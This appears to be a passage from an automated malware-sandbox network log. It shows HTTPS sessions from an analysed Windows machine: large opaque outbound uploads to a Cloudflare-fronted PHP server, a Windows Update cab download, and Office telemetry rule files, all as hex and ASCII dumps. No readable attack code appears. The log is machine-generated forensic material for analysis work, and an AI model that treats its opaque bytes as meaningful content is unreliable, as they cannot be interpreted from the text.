6f e8 5e 83 10 e3 78 f4 8c 7e 72 84 52 8f f4 Data Ascii: o> ;d=Zi5C"N:)*]P?Q-`KoI$C-3A#\;wrXKIu~}lR@SHH$=_{7<h7o=}X0$C1 c{U;+,AyLZFEdv)S?60))JUvJr$,Oo^x~rR
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 8b a8 0c 0d 0e f8 29 77 71 12 3b 22 9e 77 a0 08 61 40 fa f3 66 30 ef fd 17 49 67 7d d3 ad 1d 1b b7 df e6 bb de 44 1d c1 cb 49 30 03 13 e8 3b 63 e2 64 74 68 b1 0c ed dc 3d 0c 18 4d 9a 51 02 cd cd 0a 8c 21 f7 3d cf eb 90 f6 18 3b 29 55 94 a9 f7 62 27 78 7a 6a fa e2 49 a0 1d cf 50 38 86 e1 35 90 8c 53 2f 8c 9f 89 61 fd e4 23 ea 87 cc 55 d2 7a 2d c9 41 c1 d7 6d 9b 43 da ee d0 75 c4 eb 39 a2 d8 ca 13 37 42 bc 6d 92 5f 01 d9 c9 d3 a4 3b 38 4d ed 34 08 44 90 e0 61 13 74 00 70 fd 26 49 8e de 5d 4d e4 d1 69 0c e4 60 39 3f c7 da 92 06 7d 05 41 c7 97 26 27 f7 99 0f fc d3 37 85 d2 eb 74 aa 24 3d 11 9f 46 4c 1d f6 04 be f8 71 e0 79 b1 07 85 d9 c4 a1 4e 47 0d 9f 23 db ae 81 73 39 96 4f df fd e1 c8 6e b9 5e 5b 4b 6a c7 d6 0c 53 fe 6c aa dc 66 ac 9b b8 3b 42 e9 29 ad 58 Data Ascii: )wq;"wa@f0Ig}DI0;cdth=MQ!=;)Ub'xzjIP85S/a#Uz-AmCu97Bm_;8M4Datp&I]Mi`9?}A&'7t$=FLqyNG#s9On^[KjSlf;B)X
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 8f 35 02 79 0b 6a 44 ba af 90 e0 04 6d f3 2d f9 93 11 42 b3 72 43 91 b4 70 04 9c 72 fc c6 c5 9f 9f bd 2d ff 76 b7 2b b2 42 5e f6 e2 cc 62 63 68 01 e6 c0 ae 4f 9a 36 52 c0 69 73 d7 e8 e4 e3 f1 68 56 a9 c5 d8 72 47 59 c7 d4 47 04 0e 1e 38 d9 85 c9 da 83 8c a3 5d 83 65 82 8d 88 ce f5 f1 d8 6d 9f e3 1c cb 9f 55 1a 92 69 cf 5d e5 dc 43 fe 3e dc 01 25 2d 1b 37 80 4b 98 72 fa 76 1a a3 b3 1a e0 b7 c2 c6 7a c6 ff 1e 7a 37 71 8c 3c 26 e3 c0 c3 47 22 df e3 29 fa 7c cc 54 58 ca 87 e8 30 91 fd 55 28 0a 49 1b 1f e8 e9 79 d4 b6 8c ec 92 62 e4 bd 3a b2 55 12 2f e8 e9 37 3a d6 d7 f5 d5 c7 58 5a bc 81 af a4 3d 5b 0e 74 ae 3b 0f 2e ec e5 02 ba cc 98 77 22 e4 02 15 07 6a ef f8 fe 86 00 a0 01 74 4f 3d 95 d3 5c 46 01 81 eb b7 d7 94 01 a6 3e 1e 06 d2 77 d7 90 40 cc d7 7f 03 bb Data Ascii: 5yjDm-BrCpr-v+B^bchO6RishVrGYG8]emUi]C>%-7Krvzz7q<&G")\|TX0U(Iyb:U/7:XZ=[t;.w"jtO=\F>w@
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 31 05 56 a1 9d cc 28 4d 9f 79 ba 93 6e fa 47 f6 0e 8c 39 e7 f9 96 33 d4 93 b1 f2 0c 29 9b b0 f1 e9 cf 80 36 f4 f1 da 76 bb c9 48 ea 8f 06 09 61 0e b0 df 56 7e a4 54 80 9c b2 76 91 02 1f 16 2b c9 5c c9 5f 43 08 cf 0a a0 ee fa a8 0c 88 1f a8 78 8d d9 0c 4d dc 15 9c fc b8 21 fa b2 5d b9 18 81 70 ee 3e 78 1e 42 25 99 b6 97 3c 25 7a 8a 60 8a 32 ea 9c 21 29 08 13 9e 93 b8 fc 4e 88 77 38 02 8d 8c 49 90 5b 50 0d e3 64 f2 36 19 21 53 e8 0c 21 94 75 fa ec c8 43 2d 34 ff 02 08 7f a2 be fb 6e b7 ab 93 b3 57 2b 3c 0f 0e 6a a2 62 a6 b8 00 47 d7 3a 0c 54 a8 95 16 37 e0 4a 43 fd 64 64 8b 44 84 a3 ca 0e c3 70 86 b8 ef 35 90 6c 20 56 e2 be ca 6a 93 8f 5f e3 c7 ad 51 04 87 fa 0f be 7b bf b8 4c 67 39 d1 a6 47 10 be e8 4e 80 23 7d b2 87 91 cc b7 4d 1a d8 67 d8 b3 64 2f d0 1c Data Ascii: 1V(MynG93)6vHaV~Tv+\_CxM!]p>xB%<%z`2!)Nw8I[Pd6!S!uC-4nW+<jbG:T7JCddDp5l Vj_Q{Lg9GN#}Mgd/
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 1d c3 3d 50 c9 51 03 f1 6b 38 a0 19 43 55 95 27 ed 99 c9 65 e1 1c 2a 21 08 ba be 77 39 77 9f b2 e9 fd 1b 7f c9 27 c2 cd 96 b7 02 25 18 73 d4 58 fe aa f0 cd b9 03 d3 56 c3 d1 d4 68 14 35 8c 0f 74 cd 94 64 40 3e 13 b5 03 9a f3 0f eb 89 d5 5c 2c 27 38 a3 23 a5 c4 96 31 b6 a9 b2 9e 1b 7c 5b 29 27 fb 51 cc 8c 0c 2b 33 0b 13 76 ab 61 78 9a 96 75 85 f9 2b d2 48 90 51 a6 d0 a7 c3 11 20 7d 31 76 4d 10 e0 f7 8f ef 7b 74 bb 4f 2f ee c9 f9 f1 ae 72 4b 1f 4b 6f a5 9e 31 3e a1 36 e1 7f bd e7 24 cb 44 27 6c fd 1c 4f 1a 3a 8a 98 82 e6 aa 98 4a eb af 43 46 57 44 2b 46 6d 9b b2 db 24 2e fa a5 31 66 b7 ed a4 75 f7 9c 21 fb 73 37 02 0f a3 c3 06 80 9f 57 7d 38 b0 ad 7d b9 9c 32 ea 55 d6 27 19 87 df ec b4 f7 76 89 7a 8b ec d0 47 4a f0 d5 6f 61 f2 94 14 62 a8 14 3c dd e3 57 1c Data Ascii: =PQk8CU'e*!w9w'%sXVh5td@>\,'8#1\|[)'Q+3vaxu+HQ }1vM{tO/rKKo1>6$D'lO:JCFWD+Fm$.1fu!s7W}8}2U'vzGJoab<W
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: b6 e1 8c ff a6 68 de 76 7a 68 c6 3e f5 b0 d1 2b 17 b9 11 d6 ff 4c 7f 96 3a fd 34 42 ed 8c 10 7a ee b5 41 87 44 e6 50 6d f1 11 e2 f2 88 db 9d 21 ce e2 65 48 be fe 44 df 4b c1 c0 e7 48 5a 45 82 e3 f5 37 e7 ef 92 66 89 43 4e f9 77 70 60 74 f3 c7 8d 94 6f ea 83 19 03 ea e8 b1 88 7f a3 89 2f 60 af d5 fa 32 62 13 09 36 55 36 07 55 93 2d 41 df 55 3d ab 33 ae 95 03 79 7f c3 34 54 ed 1e 56 ea 0e 3d 25 41 31 43 3c f6 be 0e b0 c2 3a 3e de 8a 96 e4 d6 09 eb fe bd 73 70 35 ea 07 3f b6 0f 33 63 89 ef 83 5b 65 02 cc 5a 6c 67 73 96 03 26 d7 9e c5 a5 6a 4c 72 d7 82 a0 ef 43 b5 9e e6 11 5e e1 f8 34 24 58 d0 f2 46 3f 7a 18 f3 ef a3 f8 17 f8 33 bd 5d c2 d2 4f 21 69 44 ec 2d 0b f8 e7 c8 df 96 8d 3f 7e 75 be d7 b8 ea 30 72 ce 34 b9 46 72 f6 b5 41 aa 35 49 1b f5 53 38 ff 3a 19 Data Ascii: hvzh>+L:4BzADPm!eHDKHZE7fCNwp`to/`2b6U6U-AU=3y4TV=%A1C<:>sp5?3c[eZlgs&jLrC^4$XF?z3]O!iD-?~u0r4FrA5IS8:
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 35 d5 5c 80 5f 31 a4 5d 00 b1 80 1a b7 df 68 ca 93 e0 0d 21 b0 ef 65 d2 a8 6d 66 46 31 c1 e0 a6 1d 62 de 2e 7b 7a 9a 8b 9e 69 92 d6 1c 4c 90 90 bc da 6f 75 7a bc 16 3f e2 61 b4 cd 35 3d 26 4d b6 f1 aa 55 c3 5e b9 2a b0 6f 46 90 dc d1 8e 0c 9e 16 dd c3 a7 99 7f 84 ec 8f 79 15 64 6b a2 bc e8 20 72 9d 92 65 b8 3e f2 89 30 d9 87 11 5c 43 db 9d d5 cd 7f 5b e7 bc c7 f4 b1 72 4f 01 46 23 a5 ad be fa 89 44 da 5d 81 a6 f2 86 f3 e1 1b 0a e3 3d 22 ee 63 29 9c c4 91 2c 7b 11 d7 c5 e2 d7 03 d3 4b f7 9a be 41 2d e3 21 3c e5 24 c4 a8 52 77 a2 11 66 78 2e e5 53 a2 4a 51 ce ad 30 45 4b 77 87 e1 de d5 25 c3 19 77 a7 f6 69 0c e2 d0 0d be 9c 50 19 be fd 3b 6b e8 18 1f 07 39 9f 27 42 b9 49 e5 39 71 4b 29 d4 94 12 9b 67 94 1c 01 72 7a 5c 50 9f c1 46 aa 3d d7 5d 82 ae 51 89 f0 Data Ascii: 5\_1]h!emfF1b.{ziLouz?a5=&MU^*oFydk re>0\C[rOF#D]="c),{KA-!<$Rwfx.SJQ0EKw%wiP;k9'BI9qK)grz\PF=]Q
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 43 f9 78 02 01 ca c4 84 59 72 f4 69 c4 34 59 0b 30 71 1d 90 df 10 5e 08 02 89 7e 18 01 74 64 8b 6e 8c 43 3b 36 27 4f 91 f2 6d 8f 93 51 b0 79 41 0c 9c 90 a8 d6 a9 90 ff 27 98 16 30 4b 57 c8 54 54 52 a4 12 08 8a 54 c5 81 28 ed 46 51 e6 ae 63 77 68 22 73 44 9a 7e 0b 5b 99 67 81 38 cf 1e 9b e8 87 eb cb 72 4f e8 27 f3 aa 59 d3 e4 02 da ab 55 3c c4 73 fe 2c 11 86 f6 e6 34 d8 3a b8 bf 12 8b 6f ab 37 e4 4d 07 44 9e 49 db 50 52 53 61 9a 32 d6 9f 10 cf 33 c0 4d f7 e8 b9 c8 27 27 fc 33 7c 37 87 53 db c9 f5 b5 1d 82 46 7a 7a 56 4e 84 82 61 fc 4a 66 eb 31 01 e7 32 72 ad 18 dc f3 c5 b1 92 97 87 96 a8 d4 99 60 0a 56 8a 44 d4 45 12 45 da ce 0c 84 cd ee a2 4d ad 28 8f 5a 83 dc 69 89 1d 07 b7 ef 07 77 f8 35 d9 d8 45 9e 1b 0e 36 8a ba 7b 65 bf b1 ba 0d 1f 80 b8 c1 e7 b5 87 Data Ascii: CxYri4Y0q^~tdnC;6'OmQyA'0KWTTRT(FQcwh"sD~[g8rO'YU<s,4:o7MDIPRSa23M''3\|7SFzzVNaJf12r`VDEEM(Ziw5E6{e
2024-11-30 03:12:17 UTC	15331	OUT	Data Raw: 5c 4e 68 bb 39 fd 74 9f 4b 8a 62 d8 b1 df 25 37 7f e5 de 9a ad df e8 15 08 63 1e 3f 8d 2f 4a 89 59 30 d5 06 c3 6c d9 f9 d6 a9 da b8 f0 9d 3c 01 8b fc 1f 18 d7 3b 0a e4 5a 96 3f a9 a0 a5 f9 41 7e f3 80 58 c2 63 d3 b3 16 7f a3 a8 21 c5 c7 d1 1e f7 cf 61 6d d2 4a 3b 0f d5 13 a7 0e d6 13 fd 53 1f 2e ab 18 a5 ec 12 8c d4 c3 c7 d5 57 68 b4 19 d1 3e 6f 78 d3 fb 44 82 83 a5 ce 0e 6f f6 fb bf af d1 f1 72 59 ed 95 7d df 97 bf 7a 59 68 b6 fe 12 16 3f 83 00 7e e7 f0 cf d5 d5 5e 2a 00 77 21 a0 dc 24 60 49 ca 5b 44 c0 b3 24 72 6f 8d cd c5 73 cf fd 5e 12 de f2 b2 0a 88 7c 60 bf bb 86 06 a5 04 90 a5 f1 33 7c e0 d6 46 74 c2 96 ee ba 39 68 2a f5 03 ea 12 f7 4b 00 5c 26 66 fa dd e8 1b 4d f1 3a 03 f9 86 25 e2 96 ba c7 55 99 06 a8 20 b8 8f 6f bb ed 16 38 1f 9d 69 76 2f e4 6c Data Ascii: \Nh9tKb%7c?/JY0l<;Z?A~Xc!amJ;S.Wh>oxDorY}zYh?~^w!$`I[D$ros^\|`3\|Ft9hK\&fM:%U o8iv/l
2024-11-30 03:12:21 UTC	1029	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rd85p4daeqarnfemni0se2bskg; expires=Tue, 25-Mar-2025 20:58:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aMpZwuVgk%2FXGsvjN8erT28r6dzAReQdiUIxhpqKIPkC%2Fj14ZniK1c9wTuJRkPNMfN6MzOjm0TqlBF2Z6TnHuu%2FfOK5loGMKgWk%2FnuTWzbUDZId%2B9EUh7qtfYXisI0iOx%2BZ53kgE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a7aeedb0435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1680&rtt_var=634&sent=216&recv=616&lost=0&retrans=0&sent_bytes=2847&recv_bytes=587255&delivery_rate=1719670&cwnd=240&unsent_bytes=0&cid=ddd6656e53469b1c&ts=4157&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49721	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5VeGEGoNDS2WapR&MD=4dYcZxFY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-30 03:12:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d71a85f2-47e5-4a40-b739-5594b37d4342 MS-RequestId: e8b60a8e-dc32-48a4-aa02-ddb0ce006ab5 MS-CV: f8V7CWdXnkqxK6iT.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 30 Nov 2024 03:12:17 GMT Connection: close Content-Length: 24490
2024-11-30 03:12:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-30 03:12:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:18 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: c2c38c24-a01e-0002-25f9-415074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031219Z-174f7845968xr5c2hC1EWRd0hn0000000hs00000000067mx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031219Z-174f7845968pf68xhC1EWRr4h80000001140000000006w34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031219Z-174f7845968frfdmhC1EWRxxbw00000010yg0000000053wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 9cdeab1e-301e-0000-22b2-42eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031219Z-174f7845968cpnpfhC1EWR3afc00000010c000000000hvrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 5e64b7e0-d01e-0049-7eb8-42e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031219Z-174f78459684db9fhC1EWRc7g400000000xg0000000046kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 